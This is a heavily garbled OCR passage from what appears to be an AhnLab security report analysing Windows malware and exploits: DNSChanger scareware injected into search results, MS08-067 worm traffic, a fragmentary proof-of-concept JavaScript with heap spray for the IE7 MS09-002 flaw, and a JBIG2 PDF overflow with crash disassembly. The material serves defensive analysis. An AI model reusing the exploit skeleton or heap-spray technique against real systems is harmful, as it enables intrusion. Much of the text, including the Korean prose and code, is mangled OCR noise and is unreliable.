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DIl Name Criginal First Thunk  Time/Date Stamp  Forwarder Chain - Mame First Thunk
KERMELZZ.dIl oo0a7e1c 00000000 0oo0aooo 00007 7FCE 00007020
USER32.dIl Q0007 a0 Qooooooo aooooooo Qooo?e?s Qoo070ED
GoI32.dl oooo7el4 00000000 0oo0aooo 00007995 00007018
ADYAPIZZ.dI 00007sFC 00000000 0oo0aooo 0o0079Fs 0o0a70o00
| Al Iululn nw AN [uTululuiniuinin} fulululnlulululul o007 810 FuTulnl s iy

wirus. dil 00007744 00000000 0oo00ooo 00007 A5 00007 14
API MName Thurk Ry & Thunk Offset  Thunk Yalue Hink
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Hookon! 00007745 00007745 00007474 o003
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RO BIE W BAWIe 3D SRl nuE gmﬁ; S BAEAG S SEE
® & ety & - Quz-Q HNRAG Lo @ -BF H B

Web |mages
Maps News Yideo Gmal more v 2 4(0) [ W y/werw googie, DNSC ~BDos =z
=
Google e G Web |miges Maps News Video Gmsl more ¥ S

Results 1 - 10 of about 78,300 for wig Google |win32. DNSChanger [(Search ) Aduinend Seacy

Tip: Save time by hitting the retum key instead of cicking on "

Web Results 1- 10 of about 80,000 for win32.DNSChanger. (0.05 seconds)

y Error!
Your computer was hijacked by dangerous virus! Some results was changed by

pom advedising, your passwards and other private info no more in safel You
must to clean your system immediately to prevent it. Download the newest anti-
virus s

Win32 DNSChanger - Safer Networking Forums
10 posts - 3 authors - Last post: 21 Feb 2007

Spybot found Win32 DNSChanger on my computar It fixed thel
every time | can't get nd of it
forums spybot info/showthead php?t=11222 - 76k -

Solved: Trojan Win32 DNSChanger as - Te!

4 posts - 2 authors - Last post. 17 Jan 2006

I recently ran a Kapersky online virus scan, which | do fairly
infected with this: Trojan Win32

forums techguy. org/mahware-removal-hijackthis-logs/435063-sol YouTube Plugin - Porn - Watch Now

dnschanger himi - 56k - Cached - Similar pages Coed with nice big boobes loves riding teacher's cock and suck it till she

Win32 DNSChanger-V.) and Win32 Bravix-8
Win32 DNSChanger-VJ (Trj) and Win32 Bravix-B (Drp) infect
VI (T seems 1o be picked 3 Anti viruse:

bt ol st - Tip: Save time by iting the return key instead of clicking on *search”

spent...
hitp:/fyoutubedwatch?v=Hgdzq12aAZ

Trojan Win32 Dns Changer ik -hard o beiieve - Will win32 DNSChanger - Safer Netviorking Forums
25 Donts 8 sothors - Lat pont B T o .} 70 posts - 3 authors - Last post. 21 Feb 2007

rojan ns Changer ik -hard to believe other anti-inus 8
o vaidarastconty comtshowthrend hoMe 170018 - 126K - & Svp:r:u:. ::Ti a\:_:n;:la::ﬁ:ungu on my computer It fixed the problem,but it's coming back
Trojan Win32 DNSChanger in forums. spybet. info/showthread. php?t=11222 - 78k - Cached - Similar pages
The VIPRE&tiade & CounterSpy™ antispyware research cented
threats, updates to the ,,wri.” MM-.,,.%.,, and ofiers § 20lved: Trojan. Win32 DNSChanger as - Tech Support Guy Forums
< 4 posts - 2 authors - Last post: 17 Jan

@ SER I recently ran a Kapersky online virus scan, which | do fairly frequently and it told me that |
'was infected with this: Trojan Win32.
Al forums techguy org/makware-removal-hijackthis-loge/435063-solved-rojan-win32-
E_D.C_ II_-I 7|:|4 ‘I! éll‘ dnschanger.html - 56k - Cached - Similar pages

=
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3. AFAH - S AkAE 8T 34 37}

O

2-3d AFYH o

)
S

oFHEe] F3o] Aulx FHokd BT ofZE Aol FHokH FToE &
A7k =Y olF AF FAWAL] HE o]EZE Aol AL Internet Explorer, PDF, Office

2 ActiveX Solth. &S Fuzzer 53 £ A5sd =45 o]&3k ud Xwidtsd FHofy
% Bol yeuar Aok At E ool A= A= olFrolA Adudt CldRE 4@, IE7

F kA, AdobeAle] PDF FoF# ol thaja] A3 Lolr A},
(1) MS08-067 HFHE o] &3 EE I ddE ¢
At 1ol MS08-067 MW Au]x~ FoFHS o83k Zu# o] WAZE o] Fo 2¢Yol=

Fopdsiegl ol gol EdEgdT ol g2 < IRCBot 4

| [}
H, ot sty o] 54 IRC A® AE(TCP Port 6667)° &5 A% 3k

JL . &

Broadcast who has 111.2.0.637 Tell 111.

ki

G0,

[23 1-5] IRC Mu| &Y H& AlT

§HeF IRC MM Aol o] At 3ol evfelolee] ¥ wol MS08-067 o
2 ol gste] AstHm AshEE Az AW, MENDL Fh, USBEeIt

205 26.883352 111.2.0.37 111.2.0.35 SMB NT Create Andx Reguest, FID: O0x4000, Path: “srvsy
[ ouc 2o BRsds Ll 055 LLL.o 0.3/ SMB N Create anchoResponse, FID: Oxdooo ]
207 26.883630 111.2.0.37 111.2.0.35 DCERPC Bind: call_id: 0 SRWSVC V3.0

211 26.202842 111.2.0.37 111.2.0.35 SMB Close Request, FID: 0x4000
| 1o e so2ses 1112035 11l.2. 0.3/ SME___ Closc Response, FID: QxdD0Q ]
215 27.117858  111.2.0.37 111.2.0.35 TCP afrog > microsoft-ds [ACK] Seg=1775 Ack=936 Win=&

Frame 2089 (838 bytes on wire, 838 hytes captured)

ethernet II, src: Giga-syt_e6:cf:2a (00:1d:7d:e6:cf:2a), Dst: ciga-Byt_e6:cf:25 (00:1d:7d:e6:cf:25)

Internet Protocol, Src: 111.2.0.37 (111.2.0.37), Dst: 111.2.0.35 (111.2.0.35)

Transmission Control Protocol, Src Port: afrog (1042), Dst Port: microsoft-ds (445), Seg: 9350, ack: 805, Len: 784
NetBIos Session Service

SMEB (Server Message Block Protocol)

SME Pipe Protocol

DCE RPC Request, Fragment: single, FragLen: 636, call: 0 ctx: 0, [Resp: #210]

Server Service, NetPathCanonicalize

B EEEEE

00cO Q0 00 31 01 00 00 5C 00 7a 59 50 4f 44 70 8a 51 I L ZYPODpElQ
oodd 56 63 4b 48 67 64 6c 6d 70 49 55 6b 46 52 68 46 wekngdIm pIukrrhF

0020 59 7a 75 4d 53 48 66 62 50 56 7a 91 7O 72 44 56 vzumSHTh PvzqprDv
00f0 4c 66 67 45 76 50 6a de  4d 4F 4d 42 46 62 52 41 LfgEur N MOMBFLORA
0100 62 48 6d 76 41 64 62 4a 4h 55 68 98 45 67 6d 4d  bHmvadbl KuhxEgmM
0110 79 73 52 56 4c 59 6a 56 54 43 55 48 67 52 57 da ysRVLYJW TEUNgRwWI

g of

00

1

5t

:.:
Al

rr
5

[22 1-6] MS08-067 &
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(2) MS09-002 Internet Explorer7 Cloned Object 3 k3

29 MS09-002 Internet Explorer7 Cloned Object #2Fde] thst POC7F Q8 Aol &+

Asel, ehgEE FE W gol ohgHa 9l

t}8-& MS09-002 IE7 Cloned Object POC =

I
L
ey
1z
o
k)

1 <zcript language="Javaloript™s
2y
3 var ceunescape ["EUeSEoE U002 EE o D n Dy i e s 1 s s s o . - FUE
|
S var grray = new Array():
& J
T var ls = Oxd00000:
g g
Svar b = UNESCADE | srcoovmeaan e o
0 while (b.length<ls/2) { b+=b;}
1 var lh = b.substring(0,1ls/2): o
2 delete b; J
3l
|
- B
N
7 CollectGarkbage ()} J
g g
I
O var sl=unescape, =~ ~~~° TTTT oo oooooToooooororonmn o
1l var al = new Arrayi(): ./
2 T
3.
4 function aki) {
5 ol=document.createElement ("thody"):
7] ol.click:
7 var o2 = ol.cloneNode () M
=] ol.clearictributes(): |
=] ol=null; CollectGarkages()l: .
a LUL U tie i ran aas s dcamgasr ety e ey s e as
1 o2.click:
21
o

[2& 1-7] MS09-002 IE7 Cloned Object POC ZE W&

o] FHoFd-& mshtml.dll |4 CFunctionPointer::PrivateAddRef = ¥ <S89l IZ J}&E
SO AV EAs =Y, TAYE = vy A

Y

A (Object)S AL 71 AAE HAxds= Hy, X 7H&E7

= h=!
S8 Fashe A H3E A%, G5 Fx eEg 4w

-

Fovach g A7

A wgk Fkskoh, ol w,

oot
13

Copyright ‘¢ Ahnlab, Inc. All rights reserved.

Ah Ahnl_ab Disclosure to or reproduction for others without the specific written

authotization of Ahnlab is prohibited.



ASEC REPORT

Ao AAE
EAHE A}%a

al
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(3) PDF Adobe Acrobat Reader JBIG2 Buffer Overflow 3 23

299 AdobeAl2] Acrobat Reader ¢ PDF #42] FHoFdo thgk #l=do] &z o] 4
wH, 25 25 AAZA HE A FUNEL A o}, ot FE fFE W A|~E FF
of o+g= A7} =t} AdobeAlol A& AdvisorylS E3] 39 4% A4 BeF # 27}
U Zlojgta g

ARk o2 PDF FHeFd2 54 Object 5olA A5 RA S st PDF #4& ¢S o
Acrobat Reader 7} JBIG2 Stream®| & HAZS S AIES 1A EolAd v v Z2$
F ko] wAysi)

HA AR o Ao A= JBIG2b Streamel] thE3 22 ko] o7 2

4 0D OL 2F 48 65 69 67 68 74 20 33 32 0D OA 2F 43 : ../Height 32../C
.+ B6F 6C 6F 72 53 70 61 63 65 20 2F 44 65 76 6% 63 ; olordpace /Devic
r B5 47 72 61 79 0D OA 2F 42 69 74 73 50 65 72 43 : eGrav../BitsPerC
.+ 6F 6D 70 6F 6E 65 6E 74 20 31 0D 0L 2F 46 6% &C ; omponent 1../Fil
474 65 72 Z0 ZF 4Rk 42 49 47 32 44 65 63 6F 64 65 : ter /JBIGZDecode
.+ OD OA 2F 44 65 63 6F 64 65 50 61 72 6D 73 20 3C ; ../DecodeParms <

.2 3C 3E 3E 0D OA OD OA 2F 4C 65 6E 67 74 68 20 36 ; <»»..../Length 6
.1 35 35 33 35 30 0D OA 3E 3E OD 0OA 73 74 72 65 61 ; 55380..>>..strea

: 6D OD OA EO FF 40 61 44 00 00 20 20 40 00 OC OC ; m..?@aD.. @...

e T L L e e e e T e el e

[22 1-8] JBIG2b Stream ZE L&

s gho® <13}e], Acrobat Readeri= Crash”} WAS sF+=d], Crash HAA A ofdfj e}

2

00ffd887 8b0a mov ecx,[edx] ds:0023:035ae6f8=04412414
00ffd889 8b411c mov eax,[ecx+Oxlc] #* Segment Page Association
00ffd8&c 85c0 test eax,eax

00ffd88e 0f84ac020000 je AcroRd32_950000!PDFLTerm+ 0x235ad0 (00ffdb40)
00ffd894 8b4el0 mov ecx,[esi+ 0x10]

00ffdR97 8d0480 lea eax,[eax+ eax*4]

00ffd89a 834481ec01 add dword ptr [ecx+ eax*4-0x14],0x1  Crash®Aj
00ffd89f 8d4481ec lea eax,[ecx+ eax*4-0x14]
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00ffd8a3 8b02 mov eax, [edx]
00ffd8a5 8b4810 mov ecx,[eax+ 0x10]
00ffd8a& 85c9 test ecx,ecx

00ffd8aa 894c242c mov [esp+ Ox2c],ecx

ot A== Heap Spray 347|HE o] 838t9], Crash X489 Return Address & %314
1758 Adaitd, o] W o) APISS AH8ele 54 BAe 44w
GetCurrentProcess, GetTempPathA, TerminateProcess, CreateFileA, createFileW,
SetFilePointer, ReadFile, WriteFile, WinExec, CloseHandle, GetCommandLineA,
GetModuleFileNameA

AA7MA = A7 oA eF AAR WAl A Eo] ALgY gEo], AE A &=

AFE A} Al & PDF ¥4 S dojwx] g7y, Acrobat Reader®] Javascript AF&7]
5 siAlstE Aol Hasdtth [Acrobat Reader - HH(edit) - 7|¥A4A - Javascript -
Acrobat Javascript AF&-7]5 (A A3 A) ]

11
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4. YIELT 2UEE d3} - MS08-067 FHFAE o) &3 34 ZF7}

KB |=3
A=A dok 297 92 o] RPC & o|&3 &2 9 LSASS, DCOM9| &4 vkgo| &
F3 o}, MSel A& A%Ag Anshe Aol B4F$250,0008 2 JEolct

AN )
193} ol 2 wshe Uehia 94 @ovl MS08-067 AHE ol &% Ao

B M308-067 Microsoft
Windows NETAPI Stack
Overflow

B MS04-011 LSASS Overflow
= MS SOL Slammer Worm

B 5MB CS unicode share
access

B M303-039 DCOM2Z RPC
Exploit

12

[O28 1-9] =2 ©X| o[HIE & TOP 5

MS08-067¢] ol=7] WA Agd F AL olfi thedt 2ot

I
El
)
i
12
o,
AN
12
o
-0,
o

@
@ 7124 MRa2 s A
®
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